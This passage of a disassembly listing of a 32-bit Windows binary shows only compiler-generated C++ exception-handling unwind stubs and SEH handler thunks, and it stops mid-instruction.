dword_414BD8 jmp sub_41156C sub_411A7A endp ; --------------------------------------------------------------------------- lea ecx, [ebp-70h] call dword_413150 retn ; --------------------------------------------------------------------------- loc_411A8E: ; DATA XREF: HSho:00401280o mov eax, offset dword_414C30 jmp sub_41156C ; =============== S U B R O U T I N E ======================================= SEH_40146A proc near ; DATA XREF: sub_40146A+5o mov eax, offset dword_414C90 jmp sub_41156C SEH_40146A endp ; =============== S U B R O U T I N E ======================================= sub_411AA2 proc near ; DATA XREF: HSho:004015ECo mov eax, offset dword_414CE8 jmp sub_41156C sub_411AA2 endp ; =============== S U B R O U T I N E ======================================= sub_411AAC proc near ; DATA XREF: HSho:00401832o mov eax, offset dword_414D40 jmp sub_41156C sub_411AAC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= SEH_401C92 proc near ; DATA XREF: sub_401C92+5o mov eax, offset dword_414DD0 jmp sub_41156C SEH_401C92 endp ; --------------------------------------------------------------------------- lea ecx, [ebp+0Ch] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] call sub_411512 retn ; --------------------------------------------------------------------------- mov eax, [ebp-30h] and eax, 1 test eax, eax jz locret_411AFB mov ecx, [ebp+8] call sub_411512 locret_411AFB: ; CODE XREF: HSho:00411AEDj retn ; --------------------------------------------------------------------------- loc_411AFC: ; DATA XREF: HSho:00402510o mov eax, offset dword_414E28 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-1Ch] jmp sub_411512 ; --------------------------------------------------------------------------- loc_411B10: ; DATA XREF: HSho:00414E94o mov ecx, [ebp-1Ch] add ecx, 4 jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 8 jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 10h jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 14h jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 1Ch jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 20h jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 24h jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 202Ch jmp sub_4026C7 ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- loc_411B7B: ; DATA XREF: sub_402A1Eo mov eax, offset dword_414E68 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- loc_411B90: ; DATA XREF: HSho:00414F0Co mov ecx, [ebp-10h] add ecx, 4 jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10h jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 14h jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1Ch jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 20h jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 24h jmp sub_411512 ; --------------------------------------------------------------------------- loc_411BDD: ; DATA XREF: sub_402BB1o mov eax, offset dword_414EE0 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 loc_411BE8: ; DATA XREF: sub_402EC9o mov eax, offset dword_414F40 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 loc_411BF4: ; DATA XREF: HSho:00414FC4o lea ecx, [ebp+0Ch] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] and eax, 1 test eax, eax jz locret_411C1A mov ecx, [ebp+8] jmp sub_411512 ; --------------------------------------------------------------------------- locret_411C1A: ; CODE XREF: HSho:00411C0Cj retn ; --------------------------------------------------------------------------- loc_411C1B: ; DATA XREF: sub_402FAFo mov eax, offset dword_414F98 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 loc_411C28: ; DATA XREF: HSho:00414FFCo lea ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp+0Ch] jmp sub_411512 ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] and eax, 1 test eax, eax jz locret_411C56 mov ecx, [ebp+8] jmp sub_411512 ; --------------------------------------------------------------------------- locret_411C56: ; CODE XREF: HSho:00411C48j retn ; --------------------------------------------------------------------------- loc_411C57: ; DATA XREF: sub_4030F7o mov eax, offset dword_414FD0 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+8] jmp sub_406293 ; --------------------------------------------------------------------------- loc_411C6C: ; DATA XREF: HSho:0041503Co lea ecx, [ebp-14h] jmp sub_406293 ; --------------------------------------------------------------------------- lea ecx, [ebp-0C0h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-0D0h] jmp sub_4041A5 ; --------------------------------------------------------------------------- mov ecx, [ebp-0C8h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-100h] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-0C4h] jmp sub_4041A5 ; --------------------------------------------------------------------------- mov ecx, [ebp-20h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-140h] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-4Ch] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-120h] jmp sub_4064C6 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_406293 ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_406293 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A4h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-0CCh] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-0ACh] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-0D8h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-0B4h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-0D4h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-0BCh] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E0h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-38h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-48h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-58h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-68h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-78h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-88h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-98h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A8h] jmp sub_4041A5 ; --------------------------------------------------------------------------- loc_411D9D: ; DATA XREF: sub_403488o mov eax, offset dword_415010 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 push dword ptr [ebp-10h] call sub_4114EE pop ecx retn ; --------------------------------------------------------------------------- loc_411DB2: ; DATA XREF: sub_404151o mov eax, offset dword_415130 jmp sub_41156C ; --------------------------------------------------------------------------- push dword ptr [ebp-10h] call sub_4114EE pop ecx retn ; --------------------------------------------------------------------------- loc_411DC6: ; DATA XREF: sub_404347o mov eax, offset dword_415158 jmp sub_41156C ; --------------------------------------------------------------------------- lea ecx, [ebp+8] jmp sub_406293 ; --------------------------------------------------------------------------- loc_411DD8: ; DATA XREF: HSho:004151ACo lea ecx, [ebp-10h] jmp sub_406293 ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp sub_4041A5 ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_406293 ; --------------------------------------------------------------------------- loc_411DF0: ; DATA XREF: sub_404484o mov eax, offset dword_415180 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-14h] jmp sub_411512 ; --------------------------------------------------------------------------- loc_411E04: ; DATA XREF: HSho:004151ECo lea ecx, [ebp-38h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-58h] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-30h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-34h] jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-98h] jmp sub_4068AF ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-78h] jmp sub_4068AF ; --------------------------------------------------------------------------- loc_411E6F: ; DATA XREF: sub_404605o mov eax, offset dword_4151C0 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+8] jmp sub_411512 ; --------------------------------------------------------------------------- loc_411E84: ; DATA XREF: HSho:0041527Co push dword ptr [ebp-14h] call sub_4114EE pop ecx retn ; --------------------------------------------------------------------------- loc_411E8E: ; DATA XREF: sub_404AAEo mov eax, offset dword_415250 jmp sub_41156C ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_411512 ; --------------------------------------------------------------------------- loc_411EA0: ; DATA XREF: HSho:004152ACo lea ecx, [ebp-28h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A4h] jmp sub_4064C6 ; --------------------------------------------------------------------------- mov ecx, [ebp-20h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-58h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-0C4h] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp sub_411512 ; --------------------------------------------------------------------------- loc_411EE9: ; DATA XREF: sub_404B40o mov eax, offset dword_415280 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+0Ch] jmp sub_411512 ; --------------------------------------------------------------------------- loc_411EFC: ; DATA XREF: HSho:00415314o lea ecx, [ebp+8] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-20h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-44h] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] jmp sub_411512 ; --------------------------------------------------------------------------- loc_411F44: ; DATA XREF: sub_405150o mov eax, offset dword_4152E8 jmp sub_41156C ; --------------------------------------------------------------------------- align 10h loc_411F50: ; DATA XREF: HSho:00415384o lea ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-40h] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] and eax, 1 test eax, eax jz locret_411F8E mov ecx, [ebp+8] jmp sub_411512 ; --------------------------------------------------------------------------- locret_411F8E: ; CODE XREF: HSho:00411F80j retn ; --------------------------------------------------------------------------- loc_411F8F: ; DATA XREF: sub_405327o mov eax, offset dword_415358 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- loc_411FA4: ; DATA XREF: HSho:004153D4o lea ecx, [ebp-34h] jmp sub_4064C6 ; --------------------------------------------------------------------------- loc_411FAC: ; DATA XREF: sub_40543Fo mov eax, offset dword_4153A8 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 loc_411FB8: ; DATA XREF: HSho:00415404o lea ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-40h] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] and eax, 1 test eax, eax jz locret_411FF6 mov ecx, [ebp+8] jmp sub_411512 ; --------------------------------------------------------------------------- locret_411FF6: ; CODE XREF: HSho:00411FE8j retn ; --------------------------------------------------------------------------- loc_411FF7: ; DATA XREF: sub_40558Co mov eax, offset dword_4153D8 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 loc_412004: ; DATA XREF: HSho:00415454o lea ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-40h] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] and eax, 1 test eax, eax jz locret_412042 mov ecx, [ebp+8] jmp sub_411512 ; --------------------------------------------------------------------------- locret_412042: ; CODE XREF: HSho:00412034j retn ; --------------------------------------------------------------------------- loc_412043: ; DATA XREF: sub_405693o mov eax, offset dword_415428 jmp sub_41156C ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+8] jmp sub_411512 ; --------------------------------------------------------------------------- loc_412058: ; DATA XREF: HSho:004154A4o lea ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-40h] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- loc_412090: ; DATA XREF: sub_4057ABo mov eax, offset dword_415478 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+8] jmp sub_411512 ; --------------------------------------------------------------------------- loc_4120A4: ; DATA XREF: HSho:00415504o lea ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- loc_4120CC: ; DATA XREF: sub_40592Bo mov eax, offset dword_4154D8 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 loc_4120D8: ; DATA XREF: HSho:00415554o lea ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-40h] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] and eax, 1 test eax, eax jz locret_412116 mov ecx, [ebp+8] jmp sub_411512 ; --------------------------------------------------------------------------- locret_412116: ; CODE XREF: HSho:00412108j retn ; --------------------------------------------------------------------------- loc_412117: ; DATA XREF: sub_405A64o mov eax, offset dword_415528 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+8] jmp sub_411512 ; --------------------------------------------------------------------------- loc_41212C: ; DATA XREF: HSho:004155A4o lea ecx, [ebp-1Ch] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_411512 ; --------------------------------------------------------------------------- loc_41213C: ; DATA XREF: sub_405B91o mov eax, offset dword_415578 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+8] jmp sub_411512 ; --------------------------------------------------------------------------- loc_412150: ; DATA XREF: HSho:004155DCo lea ecx, [ebp-14h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-34h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-30h] jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-30h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-74h] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] jmp sub_411512 ; --------------------------------------------------------------------------- mov ecx, [ebp-30h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_4068AF ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp sub_411512 ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp sub_411512 ; --------------------------------------------------------------------------- loc_4121D0: ; DATA XREF: sub_405E1Fo mov eax, offset dword_4155B0 jmp sub_41156C ; --------------------------------------------------------------------------- align 4 loc_4121DC: ; DATA XREF: sub_406208o mov eax, offset dword_415678 jmp sub_41156C ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_408020 retn ; --------------------------------------------------------------------------- loc_4121F9: ; DATA XREF: HSho:004062F5o mov eax, offset dword_4156D0 jmp sub_41156C ; --------------------------------------------------------------------------- lea ecx, [ebp+8] call sub_411512 retn ; --------------------------------------------------------------------------- loc_41220C: ; DATA XREF: HSho:00415724o mov ecx, [ebp-18h] call sub_408020 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] call sub_411512 retn ; =============== S U B R O U T I N E ======================================= SEH_406374 proc near ; DATA XREF: sub_406374+5o mov eax, offset dword_4156F8 jmp sub_41156C SEH_406374 endp ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] call sub_408020 retn ; --------------------------------------------------------------------------- loc_41223A: ; DATA XREF: HSho:00415764o mov ecx, [ebp-10h] add ecx, 10h call sub_411512 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 14h call sub_411512 retn ; --------------------------------------------------------------------------- loc_412252: ; DATA XREF: HSho:00406672o mov eax, offset dword_415738 jmp sub_41156C ; --------------------------------------------------------------------------- lea ecx, [ebp+0Ch] call sub_411512 retn ; --------------------------------------------------------------------------- loc_412265: ; DATA XREF: HSho:0041579Co lea ecx, [ebp+8] call sub_411512 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] call sub_408020 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 10h call sub_411512 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 14h call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] call sub_411512 retn ; =============== S U B R O U T I N E ======================================= SEH_40671B proc near ; DATA XREF: sub_40671B+5o mov eax, offset dword_415770 jmp sub_41156C SEH_40671B endp ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] call sub_408020 retn ; --------------------------------------------------------------------------- loc_4122B4: ; DATA XREF: HSho:004157F4o mov ecx, [ebp-10h] add ecx, 10h call sub_411512 retn ; =============== S U B R O U T I N E ======================================= SEH_4068AF proc near ; DATA XREF: sub_4068AF+5o mov eax, offset dword_4157C8 jmp sub_41156C SEH_4068AF endp ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] call sub_411512 retn ; =============== S U B R O U T I N E ======================================= SEH_406909 proc near ; DATA XREF: sub_406909+5o mov eax, offset dword_4157F8 jmp sub_41156C SEH_406909 endp ; --------------------------------------------------------------------------- lea ecx, [ebp+8] call sub_411512 retn ; =============== S U B R O U T I N E ======================================= SEH_406BA8 proc near ; DATA XREF: sub_406BA8+5o mov eax, offset dword_415820 jmp sub_41156C SEH_406BA8 endp ; --------------------------------------------------------------------------- mov ecx, [ebp-30h] call sub_408020 retn ; --------------------------------------------------------------------------- loc_4122F9: ; DATA XREF: HSho:00406C4Do mov eax, offset dword_415848 jmp sub_41156C ; --------------------------------------------------------------------------- lea ecx, [ebp+8] call sub_411512 retn ; --------------------------------------------------------------------------- loc_41230C: ; DATA XREF: HSho:0041589Co mov ecx, [ebp-38h] call sub_408020 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] call sub_411512 retn ; --------------------------------------------------------------------------- loc_412327: ; DATA XREF: HSho:00406D2Do mov eax, offset dword_415870 jmp sub_41156C ; --------------------------------------------------------------------------- mov ecx, [ebp-20h] call sub_408020 retn ; --------------------------------------------------------------------------- loc_41233A: ; DATA XREF: HSho:004071B4o mov eax, offset dword_4158B0 jmp sub_41156C ; --------------------------------------------------------------------------- lea ecx, [ebp+8] call sub_411512 retn ; --------------------------------------------------------------------------- loc_41234D: ; DATA XREF: HSho:00415904o mov ecx, [ebp-28h] call sub_408020 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] call sub_411512 retn ; --------------------------------------------------------------------------- loc_412368: ; DATA XREF: HSho:00407270o mov eax, offset dword_4158D8 jmp sub_41156C ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] call sub_408290 retn ; --------------------------------------------------------------------------- loc_41237B: ; DATA XREF: HSho:00415944o mov ecx, [ebp-18h] add ecx, 28h call dword_413168 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] add ecx, 38h call dword_413168 retn ; --------------------------------------------------------------------------- loc_412395: ; DATA XREF: HSho:0040768Ao mov eax, offset dword_415918 jmp sub_41156C ; --------------------------------------------------------------------------- lea ecx, [ebp+18h] call dword_413168 retn ; --------------------------------------------------------------------------- loc_4123A9: ; DATA XREF: HSho:0041597Co lea ecx, [ebp+8] call dword_413168 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-4Ch] call sub_408290 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-4Ch] add ecx, 28h call dword_413168 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-4Ch] add ecx, 38h call dword_413168 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] call dword_413168 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-38h] call dword_413168 retn ; --------------------------------------------------------------------------- loc_4123EA: ; DATA XREF: HSho:00407747o mov eax, offset dword_415950 jmp sub_41156C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] call sub_408290 retn ; --------------------------------------------------------------------------- loc_4123FD: ; DATA XREF: HSho:004159D4o mov ecx, [ebp-10h] add ecx, 28h call dword_413168 retn ; --------------------------------------------------------------------------- loc_41240A: ; DATA XREF: HSho:004078BCo mov eax, offset dword_4159A8 jmp sub_41156C ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] call dword_413168 retn ; --------------------------------------------------------------------------- loc_41241E: ; DATA XREF: HSho:00407B16o mov eax, offset dword_4159D8 jmp sub_41156C ; --------------------------------------------------------------------------- lea ecx, [ebp+8] call dword_413168 retn ; --------------------------------------------------------------------------- loc_412432: ; DATA XREF: HSho:00407BFAo mov eax, offset dword_415A00 jmp sub_41156C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] call sub_408290 retn ; --------------------------------------------------------------------------- loc_412445: ; DATA XREF: HSho:00407CA1o mov eax, offset dword_415A28 jmp sub_41156C ; --------------------------------------------------------------------------- lea ecx, [ebp+8] call dword_413168 retn ; --------------------------------------------------------------------------- loc_412459: ; DATA XREF: HSho:00415A7Co mov ecx, [ebp-34h] call sub_408290 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] call dword_413168 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-30h] call dword_413168 retn ; --------------------------------------------------------------------------- loc_412476: ; DATA XREF: HSho:00407D26o mov eax, offset dword_415A50 jmp sub_41156C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 call sub_411512 retn ; =============== S U B R O U T I N E ======================================= SEH_407FC0 proc near ; DATA XREF: sub_407FC0+5o mov eax, offset dword_415A90 jmp sub_41156C SEH_407FC0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 8 call sub_411512 retn ; =============== S U B R O U T I N E ======================================= SEH_408020 proc near ; DATA XREF: sub_408020+5o mov eax, offset dword_415AB8 jmp sub_41156C SEH_408020 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-18h] add ecx, 8 call dword_413168 retn ; =============== S U B R O U T I N E ======================================= SEH_408230 proc near ; DATA XREF: sub_408230+5o mov eax, offset dword_415AE0 jmp sub_41156C SEH_408230 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 8 call dword_413168 retn ; =============== S U B R O U T I N E ======================================= SEH_408290 proc near ; DATA XREF: sub_408290+5o mov eax, offset dword_415B08 jmp sub_41156C SEH_408290 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 call sub_411512 retn ; --------------------------------------------------------------------------- loc_41250C: ; DATA XREF: HSho:00415B5Co mov ecx, [ebp-10h] add ecx, 8 call sub_402BB1 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 203Ch call sub_411512 retn ; =============== S U B R O U T I N E ======================================= SEH_409540 proc near ; DATA XREF: sub_409540+5o mov eax, offset dword_415B30 jmp sub_41156C SEH_409540 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 call sub_411512 retn ; --------------------------------------------------------------------------- loc_41254C: ; DATA XREF: HSho:00415B94o mov ecx, [ebp-10h] add ecx, 8 call sub_402BB1 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 203Ch call sub_411512 retn ; =============== S U B R O U T I N E ======================================= SEH_4095C0 proc near ; DATA XREF: sub_4095C0+5o mov eax, offset dword_415B68 jmp sub_41156C SEH_4095C0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-1Ch] call sub_4041A5 retn ; --------------------------------------------------------------------------- loc_412589: ; DATA XREF: HSho:00415BCCo lea ecx, [ebp-18h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27BCh] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27C0h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27C8h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27CCh] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27D0h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27D4h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27D8h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27DCh] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27E0h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27E4h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27E8h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27ECh] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27F0h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27F4h] call sub_411512 retn ; --------------------------------------------------------------------------- lea 